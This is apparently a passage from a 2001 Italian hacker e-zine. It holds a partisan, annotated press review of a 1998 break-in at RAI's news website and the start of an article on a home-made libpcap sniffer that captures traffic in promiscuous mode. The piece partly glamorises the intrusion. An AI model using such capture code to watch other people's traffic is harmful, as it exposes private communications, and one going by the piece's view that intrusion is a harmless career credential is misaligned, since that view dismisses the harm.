EFFETTIVAMENTE che e' { stato scoperto ALMENO 3 GIORNI DOPO e NON DAI TECNICI DELLA RAI, ma da { alcune mail che gli sono arrivate altrimenti, come ho detto io sopra, i { suddetti tecnici neanche se ne sarebbero accorti... Gianni Lucarini e' il giornalista ed informatico Rai che ha avviato l'esposto denuncia contro l'intrusione: "Chi e' penetrato nella directory dei file audio ed Internet della Rai - ha rilevato Lucarini - { per file audio "ed Internet" intende le pagine web? aveva accesso abusivamente alla password della Rai ed alle font grafiche del servizio Internet. { eh??? Non e' che sia un granche' chiaro per uno che non ne capisce molto di { Internet e di reti. "alle font grafiche del servizio Internet" intende forse { alle pagine web??? Se si', cosa sono i file Internet sopra??? Ha sostituito l'intero servizio del Gr di quel giorno". { Allora nota di InfectedMachine: NESSUNO ha mai citato il fatto che McKrak { prima della sostituzione del file audio NE HA FATTO UNA COPIA DI BACKUP { chiamata nome_file_gr_che_io_non_so.old e l'ha lasciata nella directory dove { c'era il file modificato; quindi non capisco il putiferio che hanno fatto { creando questo alone di mistero attorno alla figura di McKrak come se { facesse parte di strani complotti mirati a minare la costituzione stessa del { Giornale Radio Rai... Da qui la denuncia per violazione di sistema informatico ed interruzione di servizio pubblico. -- -- LA STAMPA Martedi' 11 Agosto 1998 "Aveva sostituito il file audio con un comunicato anti-Microsoft: tradito da una traccia" { ?!?!?!?!?!?!?!! Che traccia? Il fatto che si sia auto-denunciato??? "IN TRAPPOLA IL PIRATA INFORMATICO" "Violo' il sito internet del Gr1: denunciato studente" ROMA. Era riuscito a violare il sito Internet della Rai, sostituendo il file audio del Grg1 delle 13 del 10 luglio con un comunicato anti-Microsoft: ma il pirata informatico e' stato <> nel giro di 30 giorni dalla polizia e denunciato. L'hacker aveva lasciato il suo file pirata { piu' quello di backup del file audio vecchio ricordiamolo non si sa mai :) con un messaggio che conteneva pesanti critiche alla societa' di Bill Gates e al nuovo sistema operativo Windows 98, messaggio che era rimasto disponibile agli utenti di Internet sino al giorno successivo. { eh si'...come no :))) Vi ho dato la conferma io stesso di come su tre { testate Nazionali ci sia scritta una cosa, mentre su una testata Locale, { diano ragione alle mie parole... ognuno di voi che leggete questo articolo { e' libero di trarne le sue conclusioni. L'intrusione era stata scoperta dai responsabili del servizio del Gr Rai. { ricordiamo: attraverso e-mail arrivate 3 giorni dopo che McKrak aveva { sostituito il file audio La polizia, attraverso l'ufficio specializzato alla lotta alla criminalita' informatica ha studiato la dinamica dell'attacco. Gli investigatori hanno <> il pirata ripercorrendo a ritroso tutti i suoi passi. Il lavoro e' risultato subito complesso perche' gli elementi raccolti conducevano a un abbonamento dell'Ordine degli ingegneri di Mantova, impropriamente usato dall'hacker. { allora: ho gia detto e ora lo ripeto che la polizia telematica (leggere { nopt) stava cercando di tracciare McKrak e FORSE e dico FORSE ci sarebbe { pure riuscita, ma il lavoro gli si e' notevolmente alleggerito quando McKrak { si e' auto-denunciato. E' curioso comunque che nessun giornale, rivista, { intervista, stralcio di pagina web abbia riportato il fatto che McKrak { si sia auto-denunciato (non sara' per caso per far fare bella figura all' { autorevole polizia telematica?). { E poi cos'e' sta storia del: "Il lavoro e' risultato subito complesso { perche' gli elementi raccolti conducevano a un abbonamento dell'Ordine degli { ingegneri di Mantova" una volta tracciato il primo "salto" non basta { verificare la telefonata? Che per dirla tutta proveniva, non da una strana { cabina telefonica al centro del deserto, ma dalla casa di Mckrak... { Chi di voi e' mai stato al palazzo delle Poste e delle Telecomunicazioni a { Roma (sede dei Nopt) avra' di certo notato il palazzone accanto pieno di { telecamere ovunque appartenente alla telecom (a una spanna uno dall'altro) { difficile quindi contattare la telecom e dirgli "mi fai una stampa delle { chiamate qui e qua?" E non saltatemi fuori con cose tipo "ma prima servono { i permessi per poterlo fare", ecc. ecc. per favore... Il <>, 22 anni, { ma ne ha 21 o 22?? :))) e' uno studente universitario di ingegneria della provincia di Forli'. La polizia ha perquisito il suo appartamento e sequestrato due personal computer, programmi e documentazioni sulle tecniche di intrusione nei sistemi informatici e telematici. In particolare, si e' accertato che il giovane, utilizzando l'abbonamento degli ingegneri di Mantova e una password usata dai tecnici del sito della Rai, aveva acquisito i privilegi di amministratore di sistema. { e daila... Per la particolare competenza dimostrata e soprattutto per l'abilita' nel non lasciare tracce, { ricordo il titolo di QUESTO articolo: { "Aveva sostituito il file audio con un comunicato anti-Microsoft: tradito { da una traccia" e' stato subito evidente che non doveva trattarsi di un qualsiasi utente della rete. Il giovane ha ammesso di aver violato il sito Internet della Rai <>. Gli investigatori tenderebbero a far risalire il gesto dell'hacker a una <> ed escluderebbero collegamenti con <> all'agenzia Adnkronos dello scorso anno, firmato <> e ad altri attentati informatici. { hacker = criminale = pedofilo = Falange Armata = terrorista = attentato??? { Cioe', a che persona potrebbe venire in mente di confrontare il messaggio { lasciato da McKrak con un qualsiasi riferimento alla falange armata????? -- Evvai e si continua, si dia sfogo ai tromboni (e poche battute stupide ;))) -- LA REPUBBLICA Martedi' 11 Agosto 1998 "E' uno studente di ingegneria di Forli': ha violato il sito Internet per accusare la Microsoft" { qua addirittura studia a Forli' dove non c'e' proprio Ingegneria... { A nessuno e' mai venuto in mente che non volesse accusare la Microsoft? "UN 'INTRUSO' NEL GR1 - MA L'HACKER CADE IN TRAPPOLA" { complimenti a chi ha scritto questo titolo "ma l'hacker cade in trappola" mi { piace un casino :))) ROMA - <>. E giu' altre bordate contro mister Bill Gates e la sua azienda dalle uova d'oro. { MISTER Bill Gates??? Avete letto della storia della backdoor lasciata dalla { Microsoft (che CHIARAMENTE nega tutto) all'NSA? Cos'e' a sto giornalista non { gli va giu il fatto che non possa lamentarsi se una volta su due il suo caro { windows '98 gli si blocca? Azienda dalle uova d'oro??? Ma per cortesia... Fantascienza? Un'intrusione marziana nei programmi Rai? { questo giornalista ha fascino da vendere credetemi... No, un'intrusione on-line di uno studente di ingegneria di Forli' che ha violato il sito Internet del Gr1. E ha sostituito il file-audio del notiziario con una sua bella invettiva nemmeno tanto breve: tre minuti. E' successo un mese fa, il 10 luglio, e in trentun giorni gli uomini di una speciale sezione della polizia che fronteggia la criminalita' informatica sono risaliti al ventenne hacker nostrano. La sua stanza e' stata perquisita e sotto sequestro sono finiti due personal computer oltre che programmi e documentazione sulle tecniche di intrusione nei sistemi telematici ed elettronici. Adesso lo studente denunciato rischia fino ad otto anni di detenzione - il reato, articolo 615 del Codice penale, e' <> - ma una lunga serie di attenuanti potranno evitargli pene anche molto meno severe. { attenuanti: { 1 - si e' autodenunciato; { 2 - e' il suo primo reato; { 3 - condizionale { io non mi intendo di legge, ma mi pare che queste siano credenziali non da { omicida, ma da ragazzo che ha commesso una bravata di troppo Il suo blitz e' stato preparato a lungo e gli investigatori hanno faticato non poco per ricostruire il 'tracciato' - si dice cosi' - del cammino compiuto in rete. { ah! Hanno faticato non poco a leggere la mail che gli e' arrivata cercando { di capire l'indirizzo di casa, il numero di telefono e il nome di McKrak? { Cos'e' li aveva scritti male? Procedendo a ritroso hanno ripercorso tutti i suoi passi all'interno del sistema attaccato. E cosi' hanno verificato che per realizzare l'incursione nel Gr1 on-line il giovane aveva utilizzato { il famoso aggiungerei io :) l'abbonamento Internet dell'ordine degli ingegneri di Mantova e si era poi servito di una password usata dai tecnici del sito Rai. Per la particolare competenza dimostrata e soprattutto per l'abilita' nel non lasciare tracce - oltre che per la conoscenza di informazioni sull'Internet-provider e sulla struttura della rete del sito del Gr1 - { conoscenza di informazioni sull'Internet provider di chi???? Della RAI? Che { vuol dire che prima ha preso la root di chi fornisce l'accesso alla RAI { sempre se non hanno - come credo - dedicate sotto al culetto e poi dopo { averlo esaminato ha capito di poter hackare il Gr? e' stato subito chiaro agli investigatori che non avrebbero avuto a che fare con un qualsiasi utente della rete. Alla fine l'hacker forlivese ha ammesso tutto, anche se gli inquirenti non escludono la complicita' di altri pirati informatici. { sarebbe stato meglio dire: "all'inizio l'hacker forlivese" :)) E adesso viene da chiedersi: l'hacker riesce sempre a penetrare anche i sistemi piu' protetti? { ah perche'? Quello della Rai era protetto? Con una rete di Windows con tutte { le risorse condivise in allegria e senza password?? { L'hacker non riesce sempre se dietro c'e' un buon amministratore. Chiedetevi { come mai Banche o altre importanti istituzioni che fanno della sicurezza { la loro regola primaria assumono anche hacker o ex-hacker per curare la { propria rete... E come devono attrezzarsi le aziende per difendere i propri archivi da incursioni indiscriminate? { prendendo in considerazione il fatto di assumere personale capace. Molto { spesso (anche se ultimamente sta calando questa cosa) si guarda piu' ad una { laurea che alle effettive capacita' del soggetto... e qui evito di farmi { pubblicita' come consulente informatico ;)) Risponde Giuseppe Messa, che ha guidato gli uomini della polizia postale e delle telecomunicazioni nel blitz che ha portato alla denuncia del ventenne: { adesso anche il blitz gli hanno fatto... i lacrimogeni e i cecchini? No? <>. { "ci sono informazioni sulle possibilita' di accesso alle varie utenze" { si riferisce ai bugs dei sistemi operativi e dei programmi? E se non { fossero pubblici secondo voi quanti sistemi sicuri potrebbero esserci in { giro? Di piu' o di meno? Secondo voi queste informazioni le trova meglio un { hacker o un amministratore di sistema che mai ha avuto a che fare con un { qualsiasi tipo di movimento hacker italiano o estero? La verita' e' che se { in giro non ci fossero siti e mailing list come BugTraq o tutti gli altri, { gli amministratori di sistema rimarrebbero indietro a cercare di tappare { difetti conosciuti da tempo... solo fa comodo dire: "in giro per la rete si { trova di tutto". Per carita' questo e' verissimo, dall'anarchia, alla { costruzione di bombe (che odio in maniera particolare) alla pedofilia { (anch'essa deve bruciare con i docs sulle bombe), ma dubito che sia per gli { amministratori di sistema conveniente far chiudere questi posti perche' { "fonti di informazioni sulle tecniche di hackeraggio". E poi: <> (come dite voi) una persona che di danno non ha { fatto nulla. Ma in questo modo gli hacker continuano a raccogliere la sfida>>. E sul come difendersi: <>. { Gia, sempre se non e' una trappola messa su (come spesso faccio con i miei { computer) per trarre in inganno gli hacker alle prime armi. Per portarvi un { esempio vi cito un bug che penso abbia fatto un pochino di "storia" se mi { passate il termine: il phf. Facile da usare, se si era intelligenti, rischi { zero; dopo un po' pero' i siti che avevano il phf attivo incominciarono a { mettere "contromisure" (tu usi il phf che ti rimanda ad un file di passwd { completamente errato ed intanto vieni loggato anche dalla catenella del { cesso) -- -- IL RESTO DEL CARLINO Mercoledi' 12 Agosto 1998 "Parla XXXXXXX XXXXX, il 'pirata informatico' di Longiano che e' entrato nel file Internet della Rai" { azzo sia sto file Internet della Rai me lo dovete spiegare "NON HO RESISTITO ALLA TENTAZIONE DI UN MIO GR" { ??? Ha vent'anni ed e' studente di ingegneria delle telecomunicazioni all'universita' di Bologna { ma insomma ha 20, 21 o 22 anni sto poveretto? :)) il pirata informatico che il 10 luglio scorso e' riuscito ad entrare nel sito Internet del Gr1 modificando un file e introducendo una 'notizia' contro Bill Gates e la sua societa', la Microsoft. { ehm a dir la verita' ha modificato l'intero file :)) Ma ha lasciato il { backup - non si sa mai avra' detto lui eh? Si chiama XXXXXXX XXXXX e vive con la famiglia a Longiano, un paese sulle colline cesenati. La sua e' una famiglia di 'cervelloni', il fratello ha vinto alle finali delle olimpiadi di matematica svoltesi a Cesenatico. Dice lo studente: <>. E' cosi' facile accedere al sito Rai? <>. E come mai Bill Gates come Bersaglio? <>. { qua ho da dire diverse cose, ma vi rimando all'intervista con Mister McKrak { subito dopo queste "recensioni" di articoli di giornali XXXXXXX XXXXX dice di essere cosciente dei rischi che corre con queste accuse che potrebbero costargli una condanna fino a otto anni di carcere, ma ripete: <>. { posso assicurare che l'essere entrato nei sistemi della RAI per quanto { possa sembrare un crimine di cui non ci si deve mai macchiare costituisce { un ottimo biglietto da visita. Con questo non voglio dire che vi dovete { mettere tutti in coro ad hackare le pagine della RAI, CAPITO? Voglio solo { dire che da quando e' scoppiata questa cosa McKrak riceve telefonate del { tipo: "senta mi controllerebbe la mia rete?", "mi da un consiglio sulla { sicurezza della mia LAN?" e simili... { Pochi giorni fa ho saputo che un tizio gli ha chiesto consigli sulla { sicurezza in Rete DURANTE la messa di Natale :)) Ora lo studente rischia di vivere sulla propria pelle le conseguenze di questo 'ingresso illegale' e di capire quanto sia importante trovate sistemi anti-pirateria. { e per dirne una assumere persone un po' meno rintronate? Non dico esperti { certificati Microsoft, per carita'! Dico persone in grado di capire che se { connetti un sistema ad una rete magari e' meglio se gli setti una password { prima di aprire il tuo disco al Mondo :)) -- E ora la perla delle perle. Ho tenuto per ultimo questo articolo di giornale sia per motivi di data (l'ultimo uscito a parlare del caso McKrak) sia per motivi si suspence :)) Ritorno in modalita' seria per un attimo: nell'articolo che riporto sotto voglio mostrarvi come la stampa possa essere un'arma formidabile per screditare qualcuno (che sia innocente o colpevole non importa). Vi ricordate le storie dei "mostri" sbattuti in prima pagina per un qualche tipo di omicidio plurimo aggravato e che il giorno dopo venivano rilasciati perche' innocenti e l'articolo che diceva: "ci siamo sbagliati erano innocenti" o non e' mai apparso o e' apparso in tredicesima pagina prima dello sport? Qui e' la stessa cosa. Ne sentirete delle belle (o penserete che io sia un racconta-balle, a voi l'ardua sentenza... non lasciate che io vi istighi a credere quello che esprimo. Traetene voi le vostre conclusioni e mi riferisco all'intero articolo che ho scritto non solo a quest'ultima parte). In ogni caso vi ricordo che se non credete a queste righe di testo elettronico che scrivo (pensando che le ho alterate o modificate) andate a recuperare il giornale in questione. -- IL GIORNALE GIOVEDI' 13 AGOSTO 1998 "IL PIRATA ALLA RAI: <>" "Ma la magistratura procede d'ufficio e il giovane rischia 8 anni di carcere" <>. Cuore di mamma-hacker a cuore di mamma-Rai. { Posso assicurare personalmente che la madre di McKrak non ha mai fatto una { telefonata del genere. Eppoi che vuol dire cuore di mamma-hacker? Le persone { hanno un nome, se non sai come si chiama informati! E comunque mi sembra { molto dispregiativo nei confronti di una donna che non ha fatto nessuna { delle cose che qua si dicono Un tentativo disperato che soltanto una madre preoccupata per la sorte del figlio e' disposta a fare. { Qui vale il commento che ho fatto sopra Purtroppo per questa casalinga della provincia di Forli', pero', l'appello lanciato telefonicamente l'altra mattina ai giornalisti del Gr Internet e' destinato a cadere nel vuoto. { Per prima cosa la madre di McKrak NON e' casalinga. Seconda cosa e' vero che { ha chiamato, ma non per supplicare anzi mendicare una revoca della denuncia, { ma per sentire a che punto erano con le pratiche e cosa rischiava il figlio { niente lacrime, niente piagnistei, niente scene tragiche da fine film { romantico, niente di tutto questo La posizione di suo figlio, studente di ingegneria, non verra' archiviata dalla magistratura che lo ha accusato d'ufficio di violazione di sistema informatico con interruzione di servizio pubblico. Roba da colpo di Stato o da intrusione sovversiva stile "Falange armata". { Ossignore dimmi che sto leggendo male. Roba da Colpo di Stato?!?!?!?!?? { Ma questo signore che cosa diavolo si e' fumato???? Ma come cavolo e' { possibile che modificando un file audio sulla homepage della RAI potesse { attentare addirittura alla costituzione dello Stato stesso???? { E poi dicono che la stampa non e' letale. Questo mi ricorda il discorso che { ho fatto ieri con la mia ragazza (ah si' non ve l'avevo detto? Ho una { ragazza come? Gli hacker non hanno tempo da dedicare alle donne? Ah beh { allora io non sono un vero hacker evidentemente) sulla pericolosita' della { stampa e sul potere che essa esercita sulla popolazione. { Evvai poi di collegamenti con Falange Armata... se McKrak hackasse il { Ministero della Difesa (che non so neppure se sia online) cosa sarebbe? { Farebbe parte di un servizio segreto estero che cerca di impadronirsi di { qualche satellite spia italiano??? <>. { adesso tragedia. Vai, continuiamo ad usare termini del genere no? Posso { capire che non faccia piacere, ma categorizzarla in tragedia mi sembra { eccessivo. Se muore un parente cos'e' una catastrofe? E se ne muoiono due { che cosa cazzo scrivi? E il figlio? Come si e' giustificato il <> che nel giro di un pomeriggio si e' infilato nella rete della radio di Stato { ma che cazzo dice??? sostituendo un intero notiziario di mezz'ora { ahahahhahahahahahahahhahahahahah tutti gli altri giornali dico 3 minuti e { questi altri 27 dove diavolo sono saltati fuori?!?!?!?! con un farneticante comunicato contro Bill Gates e Windows '98? <>. In fondo, il brillante XXXXXXX, 22 anni, laureando all'universita' di Forli', { che come gia ho detto la facolta' di Ingegneria delle telecomunicazioni a { Forli' non esiste - esistono solo lauree brevi di 3 anni ha avuto un mese esatto per mettere al corrente coetanei e conoscenti dell'irruzione telematica che era riuscito a compiere. <. Eh si', davvero grosso casino. { eh si' davvero... veramente un gran casino rimettere tutto a posto con un mv { vero? mv mio_file.old mio_file.ra Eh si' un gran casino. All'indomani del 10 luglio scorso, quando al posto del Gr1 delle ore 13 ando' in onda un comunicato registrato a voce dallo stesso XXXXXXX con una filastrocca da lui recitata che prendeva in giro Bill Gates e i pregi { oddio qui avrei da obiettare qualcosina :)) dell'ultima creazione Microsoft, sulle tracce del misterioso hacker si erano messi gli specialisti del Nopt, il nucleo operativo di polizia delle telecomunicazioni con sede a Roma. Alla task force anti-pirateria sono state sufficienti 4 settimane { e una mail di auto-denuncia contenente l'indirizzo fisico dell'abitazione { del misterioso hacker per "tracciare" il sospetto seguento al contrario il sentiero percorso per arrivare al sito Internet del Gr Rai ed individuare la sua base di partenza. <>. -- Vi devo anche dire qualcosa? 'Sto giornalista (se cosi' si puo' definire visto che in questo modo rischierei di offendere la classe intera del giornalismo - e non e' che me ne freghi piu' di tanto) scrive quel CAZZO che gli pare, COME gli pare e con l'arroganza di chi non sa nulla e vuole comunque appesantire una situazione modificando i fatti, alterandoli e distorcendoli fin quando quel suo senso di perversione non e' stato appagato per bene. Guardati allo specchio di prima mattina e dopo esserti lavato la faccia guardati ancora; se pensi di essere un persona civile mandami una mail che ne parliamo. Gli altri articoli, nonostante siano comunque contro McKrak (e li capisco, in fondo e' stato commesso un "crimine") citano i fatti in maniera piu' o meno neutrale astenendosi da commenti tipo: -Roba da colpo di Stato o da intrusione sovversiva stile "Falange armata"- Oh bello prima di scrivere ste cose pensaci; e se le stai scrivendo perche': 1) Non hai un cazzo da fare; 2) Non sai di cosa cazzo stai parlando; O ti informi prima e ti fai un bel corso di sicurezza telematica (mandami una mail che te lo faccio io) oppure eviti di dire cazzate. Giusto per essere in tema di cazzate: Sull'inserto di Panorama dedicato ad Internet del XX dicembre 1999, a pagina XX c'e' la classifica dei 10 migliori giochi. Al primo posto c'e' "DirectX Drivers"... E vi riporto il commento a fianco: "Tra i titoli dei giochi per pc piu' scaricati dalla rete DirectX Drivers, secondo il Cnet, e' al numero uno. Guida spericolata, percorsi da brivido e altro ancora per un gioco mozzafiato." Adesso per cortesia ditemi cosa ne pensate :))) -- IL RESTO DEL CARLINO (Cronaca Nazionale) Sabato 8 aprile 2000 Cesena - XXXXXXX XXXXX aveva modificato un'edizione del Gr1 Rai su Internet nel giorno della presentazione di Windows '98 ASSOLTO L'HACKER CHE PRESE IN GIRO BILL GATES LONGIANO (Forli'-Cesena) -- Un giovane hacker di provincia ha battuto la Rai. { :))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) XXXXXXX XXXXX, 22 anni, studente al quarto anno di Ingegneria delle telecomunicazioni all'Universita' di Bologna, e' stato assolto dall'accusa di interruzione di pubblico servizio, un reato che prevede una pena fino a 8 anni di reclusione. { Ci terrei a dire che sulla sua testa pendeva anche "intrusione abusiva in { sistema telematico" e che interruzione di servizio pubblico e' stata una { delle prime accuse a saltare perche' il gr online NON era compreso fra i { servizi "pubblici" della RAI. XXXXX era salito alla ribalta nel luglio del 1998, quando attraverso un computer Olidata vinto dal fratello XXXXXXXX primo classificato nella gara nazionale nelle <> a Cesenatico, { emh :) Se aveva un 486 cambiava qualcosa? :)) era riuscito ad intrufolarsi nel sistema informatico della Rai. L'incursione avvenne il 10 luglio, giorno in cui veniva presentato in Italia Windows '98, il nuovo sistema operativo della Microsoft. { Con orgoglio e gioia ci tengo a precisare che il sig. Jack McKrak e' stato { assolto il giorno in cui Bill Gates e la sua Microsoft sono stati condannati { dall'antitrust americano :))))) { McKrak 2 - BillGates 0 (e non ci sono i supplementari :)) <:))))) { Queste e' per quei pochi che sanno il significato di sta frase :))) A quel punto mi sono autodenunciato alla Polizia delle telecomunicazioni a Roma. { Eccola' la'... allora non e' stata la bravura della polizia a catturare { McKrak, ma bensi' la sua lettera di autodenuncia... e questa e' gia la { seconda prova che vi porto... articolo di giornale locale prima e ora questa { intervista sul 'Resto del Carlino' NAZIONALE. { Magari i signori che hanno scritto pensavano che a nessun malato mentale { sarebbe venuto in mente di raccogliere tutti gli articoli e di farci un { articoletto da dare in giro per la Rete :)) Dopo 10 giorni agenti sono piombati a casa mia dove ho subito un interrogatorio e mi hanno sequestrato il computer>>. { Interrogatorio SENZA avvocato e gli hanno sequestrato I DUE computer I CUI { H.D. ANCORA NON SONO TORNATI INDIETRO... Com'e' finito il processo? <>. Come pensa di mettere a frutto queste sue doti? <>. { E questa la dice lunga su che razza di tecnico doveva essere ;)) { Sto scherzando ovviamente... non so come sia in realta' pero' ha svolto bene { il suo lavoro a quanto pare :)) Ok. La sezione riguardante gli articoli di giornale e i vari commenti e' finita. Avrete gia sicuramente una vostra versione della storia a questo punto e quindi e' inutile che esprima ulteriori miei pareri. ============================================================================== --------------------------------[ EOF 4/18 ]--------------------------------- ============================================================================== BFi-10/BFi10-050100644000175000017500000017607007355704712012646 0ustar smastersmaster============================================================================== -----------[ BFi numero 10, anno 4 - 30/09/2001 - file 5 di 18 ]-------------- ============================================================================== -[ C0LUMNS ]------------------------------------------------------------------ ---[ THREADS -----[ VARi ---[ SNiFf v0.3 uLiX ---[ KUNDERA DNS HiJACKER LiNUX/OBSD v1.1 Kundera ---[ SiMBAC Tharkas ---[ Moj0 v0.1 uLiX ---[ STR0NG syscalo ---[ NASC0NDERE DATi iN UN FiLE JPG ORK --[ SNiFf v0.3 ---[ uLiX Ringrazio tutta la gente a me amica, che mi ha permesso di arrivare a questo punto... SNiFf e' un semplicissimo snifero con cui mi sono divertito molto (e mi divertiro' ancora) a vedere cose che di solito, fidatevi, non si dovrebbero vedere... Ma c'e' tcpdump, sniffit, gORk (!!)... perche' ti sei messo a fare un altro sniffer di cui nessuno se ne frega una mazza? Evvabbe'... [Ora, dopo le possibili vostre domande inconscie, vi rispondo: se mai avete provato a mettere le manine su un qualsiasi source, capite subito come ci si sente dopo aver 'creato'... (leggo BFi, articoli di FuSyS, pIGpEN, vecna e tutti quelli che mi hanno insegnato qualcosa, per fermarmi a guardare? Non vale la pena provare? Almeno tentateci...)] Il termine 'snifero' con cui ho chiamato questo piccolo prog non va frainteso: sarebbe piu' un dumper, per vedere cosa c'e' dietro le quinte, che uno sniffer (inteso nel suo senso piu' vero...). Per ora logga - o dovrebbe loggare - tutto cio' che passa da un'interfaccia (se volete potete anche specificarla da linea di comando) e crea una dir con diversi file .log a seconda dei pachetti tcp, udp, icmp... Dopo un tempo abbastanza lungo per sperimentare le socket raw e packet ho deciso non so perche' (sinceramente) di utilizzare la libreria *pcap*. Codesta lib e' stata sviluppata proprio per la cattura dei pacchetti a livello datalink. Perche' pcap? Perche' e' portabile su diversi OS (anche se ancora non ne ho potuti testare), e oltre a sollevarti dal compito di utilizzare raw & packet socket, e' abbastanza affidabile e semplice da capire. Mi verrebbe da dire che la parte piu' interessnte di SNiFf e' il supporto per IPv6... ma lasciatemelo testare ancora per un bel po'. Non che non funzioni, chiaro, pero' - che volete - dovevo ancora capire come vanno le cose con quest'altra versione...(comunque continuero' a svilupparlo...). Se il codice non vi spaventa (che poi in fondo e' una cazzata di codice...), qui ci sono alcuni esempi che potrebbero chiarire le idee, anche sull'IPv6 in genere... ;). Partendo da utlsnf.c, troviamo due funzioni che aprono il device con la libpcap e chiudono il prog, oltre alle varie funcs per la risoluzione degli ip in nomi: void pcap_device_on (int p, int v, int d, int proto, int ext, int dUMP, int h) { char err[400]; /*** error buffer... ***/ if (name_face == NULL) { if ((name_face = pcap_lookupdev(err)) == NULL) { fprintf(stderr, "pcap_lookupdev: %s\n", err); exit(0); } } if (p) { if ((pcap_src = pcap_open_live (name_face, MAX_SIZE, 1, 0, err)) == NULL) { fprintf(stderr, "pcap_open_live: %s\n", err); exit(0); } } else if ((pcap_src = pcap_open_live (name_face, MAX_SIZE, 0, 0, err)) == NULL) { fprintf(stderr, "pcap_open_live: %s\n", err); exit(0); } if ((datalink = pcap_datalink(pcap_src)) < 0) { fprintf(stderr, "pcap_datalink: %s\n", err); exit(0); } switch (datalink) { case DLT_EN10MB: offset = 14; break; case DLT_NULL: case DLT_PPP: offset = 4; break; case DLT_SLIP: offset = 16; break; case DLT_RAW: offset = 0; break; case DLT_SLIP_BSDOS: case DLT_PPP_BSDOS: offset = 24; break; default: fprintf(stderr, "UNkNOWN DATALiNk TyPE (%d)", datalink); exit(-1); } fprintf(stdout, "\n\e[0;35m%s\e[0m LiSTENiNG on \e[0;35m%s\e[0m "\ "INtERfACE\n\n", p_name, name_face); while (1) { info_buf = (u_char *)pcap_next(pcap_src, &hdr); if (info_buf != NULL) sniffo(v, d, proto, ext, dUMP, h); } } void pcap_device_off () { if (pcap_stats(pcap_src, &status) < 0) fprintf (stderr, "pcap_stats: %s\n", pcap_geterr(pcap_src)); fprintf (stdout, "\n\n\nPACkEtS RECEiVED: \e[0;35m%d\e[0m\n", status.ps_recv); fprintf (stdout, "PACkEtS DR0PPED by kERNEl: \e[0;35m%d\e[0m\n", status.ps_drop); fprintf (stdout, "\e[0;35m\n\nbye, BYEZ...\n\n\e[0m"); exit(0); } a pcap_device_on passiamo: p che e' la variabile che setta la modalita' promiscua (se settata con p avremo la modalita' promiscua); v verbose mode per sniffo() che viene chiamata alla fine; d data, per loggare tutti i dati; proto il protocollo da loggare (sempre da passare a sniffo()). pcap_open_live e' la chiamata che ci permette di aprire il device: name_face e' il nome del device; MAX_SIZE e' il numero di byte da salvare per pacchetto; 1 setta la modalita' promiscua; 0 e' un timeout (val = 0: ogni pacchetto e captato al momento del suo arrivo...); err e' un puntatore ad un array... Nella pagina man di pcap(3), troviamo infatti questa definizione: pcap_t *pcap_open_live(char *device, int snaplen, int promisc, int to_ms, char *ebuf) che spiega chiaramente come utilizzare la chiamata. Di seguito determiniamo il tipo di datalink: <----------------------------------------------------------------------> <----- Breve parentesi per una veloce spiegazione del datalink... -----> (tratto da Unix Network Programming...) +---------------+ +---------------+ 7 | Application | | | Application +---------------+ | | Details 6 | Presentation | | Application | User Process + +---------------+ | | + | 5 | Session | | | | | +---------------+ <--> +-----+---+-----+ <--> +---+------------+-----+ 4 | Transport | | TCP | | UDP | | | +---------------+ +-----+---+-----+ + | 3 | Network | | IPv4 / IPv6 | Kernel Land + +---------------+ +---------------+ Communication 2 | Datalink | | Device driver | Details +---------------+ | & | 1 | Physical | | Hardware | +---------------+ +---------------+ Modello OSI Internet Protocol Suite Troviamo diversi layer (strati) in una rete, come descritti sopra, che si rifanno tutti all'Open Systems Interconnection Model (OSI) per le comunicazioni attraverso vari computer. Al fianco vi e' una rappresentazione della suite di protocolli Internet, e alla fine la divisione tra i processi in user land e quelli in kernel land. Se con la chiamata a socket(7) siamo posizionati piu' o meno sulla linea che separa i processi utente da quelli kernel (e quindi si agisce a livello applicazioni), operando a livello datalink (precedente allo strato physical) si agisce ad un livello bassissimo, quasi come se fossimo presenti sull'hardware che permette il trasporto dei dati... da questo deriva un piu' esatto controllo dei pacchetti, a livello di dati mandati, ricevuti, checksum etc... e poi ovvio che si agisce in kernel land (con i suoi pregi e i suoi difetti...). <------------ Fine parentesi abbastanza insignificante... ------------> <----------------------------------------------------------------------> Ora: a seconda del datalink avremo un preciso offset (variabile), che aggiungeremo poi al buffer per la lettura dei dati. Di seguito troviamo le funcs gia' citate per la risoluzione degli ip che non hanno nulla di strano se non l'utilizzo di getaddrinfo(3) e getnameinfo(3) al posto dei classici getaddrbuname ecc... (l'unica pecca e' che per poter passare a getnameinfo una struttura valida, sono costretto ad utilizzare getaddrinfo che riempie una struttura e poi copia il tutto in un'altra da passare... il tutto mi costa tempo operativo e nulla piu', pero'... dal lato positivo c'e' la totale indipendenza a livello di protocolli ip e ipv6, quindi si puo' valutare per bene il suo utilizzo...). Passando poi a pcksnf.c, troviamo la funzione per stabilire la versione dell'ip: int sniffo (int v, int d, int pROTO, int x, int dUMP, int h) { bzero (&ip, sizeof(struct ip)); // reset della struct (?) ip = (struct ip *)(info_buf + offset); switch (VERSION) { case IPV4: ippg_show(v, d, pROTO, x, dUMP, h); break; case IPV6: ipng_show(v, d, pROTO, x, dUMP, h); break; default: fprintf(stdout, "HMMM... StRANGE iPv%d", VERSION); break; } return (0); } Un semplice switch e si chiamano due func: ipng_show per ipv6 e ippg_show (pg sta per previous generation...) per ipv4. Dopo di che tutto si risolve con switch per i diversi protocolli e cosi' via.. Nella versione per ipv6 c'e' tutto un bel processino, che dovete guardarvi da soli purtroppo... tra le altre cose troviamo la struttura ipv6 (per la quale si puo' dare un occhiata a /usr/include/netinet/ip6.h per maggiori approfondimenti): struct ip6_hdr { union { struct ip6_hdrctl { uint32_t ip6_un1_flow; /* 24 bits of flow-ID */ uint16_t ip6_un1_plen; /* payload length */ uint8_t ip6_un1_nxt; /* next header */ uint8_t ip6_un1_hlim; /* hop limit */ } ip6_un1; uint8_t ip6_un2_vfc; /* 4 bits version, 4 bits priority */ } ip6_ctlun; struct in6_addr ip6_src; /* source address */ struct in6_addr ip6_dst; /* destination address */ }; #define ip6_vfc ip6_ctlun.ip6_un2_vfc #define ip6_flow ip6_ctlun.ip6_un1.ip6_un1_flow #define ip6_plen ip6_ctlun.ip6_un1.ip6_un1_plen #define ip6_nxt ip6_ctlun.ip6_un1.ip6_un1_nxt #define ip6_hlim ip6_ctlun.ip6_un1.ip6_un1_hlim #define ip6_hops ip6_ctlun.ip6_un1.ip6_un1_hlim Una parte di /usr/include/netinet/ip6.h e' questa qui sopra, in cui troviamo tutte le caratteristiche della nuova versione dell'header: <----------------------------------------------------------------------> <---------------------------- IPv6 HEADeR ----------------------------> 0 3 4 7 